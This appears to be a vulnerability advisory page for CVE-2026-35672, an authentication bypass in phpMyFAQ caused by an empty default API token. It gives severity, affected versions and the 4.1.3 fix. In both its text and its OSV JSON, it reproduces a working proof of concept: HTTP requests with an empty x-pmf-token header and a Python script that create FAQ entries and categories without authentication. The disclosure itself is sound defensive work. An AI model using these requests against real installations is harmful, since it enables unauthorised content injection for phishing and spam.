CVE-2026-35672: phpMyFAQ Authentication Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-gp95-j463-vv28
CVSS 7.5
CWE-1188
Published
Advisory Summary

CVE-2026-35672 is a HIGH (CVSS 7.5) authentication bypass vulnerability (CWE-1188: Initialization of a Resource with an Insecure Default) affecting phpMyFAQ libraries in the Packagist ecosystem. The issue involves default empty api token authentication bypass. Remediation is available by upgrading affected packages to version 4.1.3.

CVE-2026-35672 at a Glance

CVE Identifier CVE-2026-35672
GHSA Identifier GHSA-gp95-j463-vv28
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1188: Initialization of a Resource with an Insecure Default
Affected Product phpMyFAQ
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-35672

To remediate this vulnerability, upgrade all affected phpMyFAQ dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.1.3
Upgrade thorsten/phpmyfaq to 4.1.3
phpmyfaq/phpmyfaq fixed: 4.1.3
Upgrade phpmyfaq/phpmyfaq to 4.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35672, inspect your project dependencies for phpMyFAQ:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of phpMyFAQ in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1188: Initialization of a Resource with an Insecure Default, where the product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure. In phpMyFAQ, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header." ### Details The root cause is in two files: **1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278): ```php 'api.enableAccess' => 'true', 'api.apiClientToken' => '', // ← defaults to empty string ``` **2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204): ```php protected function hasValidToken(): void { $request = Request::createFromGlobals(); if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) { throw new UnauthorizedHttpException('"x-pmf-token" is not valid.'); } } ``` The method uses strict inequality (`!==`). When `api.apiClientToken` is `''` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `'' !== ''` which evaluates to `false` — no exception is thrown, and authentication is completely bypassed. The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `'Endpoints with Authentication'` and document HTTP 401 responses, while read-only endpoints are tagged `'Public Endpoints'`. The following API endpoints call `$this->hasValidToken()` as their only authentication check: | File | Endpoint | Method | | ------------------------------------------------------- | ---------------------- | ------ | | `src/.../Controller/Api/FaqController.php:701-703` | `/api/v4.0/faq/create` | `POST` | | `src/.../Controller/Api/FaqController.php:857-859` | `/api/v4.0/faq/update` | `PUT` | | `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category` | `POST` | | `src/.../Controller/Api/QuestionController.php:89-91` | `/api/v4.0/question` | `POST` | ### PoC **Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults. **Step 1 — Verify that requests without auth header are correctly rejected:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json { "language": "en", "category-id": 1, "question": "Test Question", "answer": "Test Answer", "keywords": "test", "author": "test", "email": "test@test.com", "is-active": true, "is-sticky": false } ``` Response (HTTP 401 — correctly blocked): ```json {"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"} ``` **Step 2 — Send the same request with an empty `x-pmf-token` header:** ```http POST /api/v4.0/faq/create HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "category-id": 1, "question": "[POC] Authentication Bypass Confirmed", "answer": "This FAQ was created without any valid authentication token.", "keywords": "poc,bypass", "author": "Security Researcher", "email": "researcher@example.com", "is-active": true, "is-sticky": false } ``` Response (HTTP 201 — bypass confirmed): ```json {"stored": true} ``` **Step 3 — Category creation via the same bypass:** ```http POST /api/v4.0/category HTTP/1.1 Host: <target> Content-Type: application/json x-pmf-token: { "language": "en", "parent-id": 0, "category-name": "POC_Category", "description": "Category created via empty token bypass", "user-id": 1, "group-id": -1, "is-active": true, "show-on-homepage": true } ``` Response (HTTP 201): ```json {"stored": true} ``` **Step 4 — Verify injected content is publicly visible:** ```http GET /api/v4.0/faqs/1 HTTP/1.1 Host: <target> ``` Response (HTTP 200 — injected FAQ publicly exposed): ```json [{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}] ``` **PoC with Python (urllib — no external dependencies):** ```python import urllib.request, json TARGET = "http://<target>" HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""} # Create FAQ via empty token bypass data = json.dumps({ "language": "en", "category-id": 1, "question": "[POC] Auth Bypass", "answer": "Created via bypass.", "keywords": "poc", "author": "R", "email": "r@t.com", "is-active": True, "is-sticky": False }).encode() req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST") resp = urllib.request.urlopen(req) print(f"Status: {resp.status}") # 201 — bypass successful ``` **Overlap Summary:** | Test | x-pmf-token | HTTP Status | Result | | ------------------- | -------------- | ---------------- | -------------------------- | | No auth header | *(not sent)* | 401 Unauthorized | 🔒 Correctly blocked | | Empty token header | `""` | **201 Created** | 🔓 Bypass confirmed | | Category creation | `""` | **201 Created** | 🔓 Bypass confirmed | | Public verification | *(not needed)* | 200 OK | 📄 Injected content visible | ### Impact This is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the **default state after installation**. - **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state. - **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base. - **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

CVE-2026-35672 Affected phpMyFAQ Versions

2 component(s)
Fixed Versions:
4.1.3
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
< 4.1.3
4.1.3
phpmyfaq/phpmyfaq
Packagist
< 4.1.3
4.1.3

References

Frequently Asked Questions

What is CVE-2026-35672?
CVE-2026-35672 is a security vulnerability in phpMyFAQ involving Default Empty API Token Authentication Bypass under CWE-1188: Initialization of a Resource with an Insecure Default.
Which phpMyFAQ versions are affected?
Affected versions include releases prior to 4.1.3 across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes CVE-2026-35672?
Upgrading to 4.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.3. Upgrade your dependency to 4.1.3 or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.3. Upgrade your dependency to 4.1.3 or later.
What is the CVSS score of CVE-2026-35672?
CVE-2026-35672 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-35672?
CVE-2026-35672 is classified under CWE-1188: Initialization of a Resource with an Insecure Default (The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.).
How can I check Packagist dependencies for CVE-2026-35672?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gp95-j463-vv28",
  "modified" : "2026-06-09T00:05:52Z",
  "published" : "2026-05-20T15:46:42Z",
  "aliases" : [ "CVE-2026-35672" ],
  "summary" : "phpMyFAQ: Default Empty API Token Authentication Bypass",
  "details" : "### Summary\n\nA default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between \"no token configured\" and \"attacker sent a matching empty token header.\"\n\n### Details\n\nThe root cause is in two files:\n\n**1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278):\n\n```php\n'api.enableAccess'   => 'true',\n'api.apiClientToken' => '',       // ← defaults to empty string\n```\n\n**2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204):\n\n```php\nprotected function hasValidToken(): void\n{\n    $request = Request::createFromGlobals();\n    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {\n        throw new UnauthorizedHttpException('\"x-pmf-token\" is not valid.');\n    }\n}\n```\n\nThe method uses strict inequality (`!==`). When `api.apiClientToken` is `''` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `'' !== ''` which evaluates to `false` — no exception is thrown, and authentication is completely bypassed.\n\nThe OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `'Endpoints with Authentication'` and document HTTP 401 responses, while read-only endpoints are tagged `'Public Endpoints'`.\n\nThe following API endpoints call `$this->hasValidToken()` as their only authentication check:\n\n| File                                                    | Endpoint               | Method |\n| ------------------------------------------------------- | ---------------------- | ------ |\n| `src/.../Controller/Api/FaqController.php:701-703`      | `/api/v4.0/faq/create` | `POST` |\n| `src/.../Controller/Api/FaqController.php:857-859`      | `/api/v4.0/faq/update` | `PUT`  |\n| `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category`   | `POST` |\n| `src/.../Controller/Api/QuestionController.php:89-91`   | `/api/v4.0/question`   | `POST` |\n\n### PoC\n\n**Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.\n\n**Step 1 — Verify that requests without auth header are correctly rejected:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: <target>\nContent-Type: application/json\n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"Test Question\",\n    \"answer\": \"Test Answer\",\n    \"keywords\": \"test\",\n    \"author\": \"test\",\n    \"email\": \"test@test.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 401 — correctly blocked):\n\n```json\n{\"type\":\".../problems/unauthorized\",\"title\":\"Unauthorized\",\"status\":401,\"detail\":\"Unauthorized access.\",\"instance\":\"/v4.0/faq/create\"}\n```\n\n**Step 2 — Send the same request with an empty `x-pmf-token` header:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: <target>\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"[POC] Authentication Bypass Confirmed\",\n    \"answer\": \"This FAQ was created without any valid authentication token.\",\n    \"keywords\": \"poc,bypass\",\n    \"author\": \"Security Researcher\",\n    \"email\": \"researcher@example.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 201 — bypass confirmed):\n\n```json\n{\"stored\": true}\n```\n\n**Step 3 — Category creation via the same bypass:**\n\n```http\nPOST /api/v4.0/category HTTP/1.1\nHost: <target>\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"parent-id\": 0,\n    \"category-name\": \"POC_Category\",\n    \"description\": \"Category created via empty token bypass\",\n    \"user-id\": 1,\n    \"group-id\": -1,\n    \"is-active\": true,\n    \"show-on-homepage\": true\n}\n```\n\nResponse (HTTP 201):\n\n```json\n{\"stored\": true}\n```\n\n**Step 4 — Verify injected content is publicly visible:**\n\n```http\nGET /api/v4.0/faqs/1 HTTP/1.1\nHost: <target>\n```\n\nResponse (HTTP 200 — injected FAQ publicly exposed):\n\n```json\n[{\"record_id\":1,\"record_lang\":\"en\",\"category_id\":1,\"record_title\":\"[POC] Authentication Bypass Confirmed\",\"record_preview\":\"This FAQ was created without any valid authentication token. ...\"}]\n```\n\n**PoC with Python (urllib — no external dependencies):**\n\n```python\nimport urllib.request, json\n\nTARGET = \"http://<target>\"\nHEADERS = {\"Content-Type\": \"application/json\", \"x-pmf-token\": \"\"}\n\n# Create FAQ via empty token bypass\ndata = json.dumps({\n    \"language\": \"en\", \"category-id\": 1,\n    \"question\": \"[POC] Auth Bypass\", \"answer\": \"Created via bypass.\",\n    \"keywords\": \"poc\", \"author\": \"R\", \"email\": \"r@t.com\",\n    \"is-active\": True, \"is-sticky\": False\n}).encode()\nreq = urllib.request.Request(f\"{TARGET}/api/v4.0/faq/create\", data=data, headers=HEADERS, method=\"POST\")\nresp = urllib.request.urlopen(req)\nprint(f\"Status: {resp.status}\")  # 201 — bypass successful\n```\n\n**Overlap Summary:**\n\n| Test                | x-pmf-token    | HTTP Status      | Result                     |\n| ------------------- | -------------- | ---------------- | -------------------------- |\n| No auth header      | *(not sent)*   | 401 Unauthorized | 🔒 Correctly blocked        |\n| Empty token header  | `\"\"`           | **201 Created**  | 🔓 Bypass confirmed         |\n| Category creation   | `\"\"`           | **201 Created**  | 🔓 Bypass confirmed         |\n| Public verification | *(not needed)* | 200 OK           | 📄 Injected content visible |\n\n### Impact\n\nThis is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the **default state after installation**.\n\n- **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.\n- **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.\n- **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35672"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1188" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-20T15:46:42Z",
    "nvd_published_at" : "2026-05-28T16:16:21Z"
  }
}